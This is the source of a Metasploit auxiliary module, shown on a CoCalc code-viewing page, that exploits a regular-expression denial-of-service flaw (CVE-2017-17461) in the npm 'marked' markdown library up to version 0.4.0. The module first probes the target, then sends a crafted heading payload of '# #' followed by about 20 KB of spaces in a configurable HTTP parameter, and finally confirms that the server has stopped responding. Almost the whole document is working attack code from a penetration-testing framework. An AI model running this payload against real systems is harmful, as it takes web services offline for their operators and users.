CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/marked_redos.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'marked npm module "heading" ReDoS',
13
'Description' => %q{
14
This module exploits a Regular Expression Denial of Service vulnerability
15
in the npm module "marked". The vulnerable portion of code that this module
16
targets is in the "heading" regular expression. Web applications that use
17
"marked" for generating html from markdown are vulnerable. Versions up to
18
0.4.0 are vulnerable.
19
},
20
'References' =>
21
[
22
['URL', 'https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not'],
23
['CWE', '400']
24
],
25
'Author' =>
26
[
27
'Adam Cazzolla, Sonatype Security Research',
28
'Nick Starke, Sonatype Security Research'
29
],
30
'License' => MSF_LICENSE
31
))
32
33
register_options([
34
Opt::RPORT(80),
35
OptString.new('HTTP_METHOD', [true, 'The default HTTP Verb to use', 'GET']),
36
OptString.new('HTTP_PARAMETER', [true, 'The vulnerable HTTP parameters', '']),
37
OptString.new('TARGETURI', [true, 'The URL Path to use', '/'])
38
])
39
end
40
41
def run
42
if test_service
43
trigger_redos
44
test_service_unresponsive
45
else
46
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
47
end
48
end
49
50
def trigger_redos
51
begin
52
print_status("Sending ReDoS request to #{peer}.")
53
54
params = {
55
'uri' => normalize_uri(target_uri.path),
56
'method' => datastore['HTTP_METHOD'],
57
("vars_#{datastore['HTTP_METHOD'].downcase}") => {
58
datastore['HTTP_PARAMETER'] => "# #" + (" " * 20 * 1024) + Rex::Text.rand_text_alpha(1)
59
}
60
}
61
62
res = send_request_cgi(params)
63
64
if res
65
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
66
end
67
68
print_status("No response received from #{peer}, service is most likely unresponsive.")
69
rescue ::Rex::ConnectionRefused
70
print_error("Unable to connect to #{peer}.")
71
rescue ::Timeout::Error
72
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
73
end
74
end
75
76
def test_service_unresponsive
77
begin
78
print_status('Testing for service unresponsiveness.')
79
80
res = send_request_cgi({
81
'uri' => '/' + Rex::Text.rand_text_alpha(8),
82
'method' => 'GET'
83
})
84
85
if res.nil?
86
print_good('Service not responding.')
87
else
88
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
89
end
90
rescue ::Rex::ConnectionRefused
91
print_error('An unknown error occurred.')
92
rescue ::Timeout::Error
93
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
94
end
95
end
96
97
def test_service
98
begin
99
print_status('Testing Service to make sure it is working.')
100
101
res = send_request_cgi({
102
'uri' => '/' + Rex::Text.rand_text_alpha(8),
103
'method' => 'GET'
104
})
105
106
if res && res.code >= 100 && res.code < 500
107
print_status("Test request successful, attempting to send payload. Server returned #{res.code}")
108
return true
109
else
110
return false
111
end
112
rescue ::Rex::ConnectionRefused
113
print_error("Unable to connect to #{peer}.")
114
return false
115
end
116
end
117
end
118
119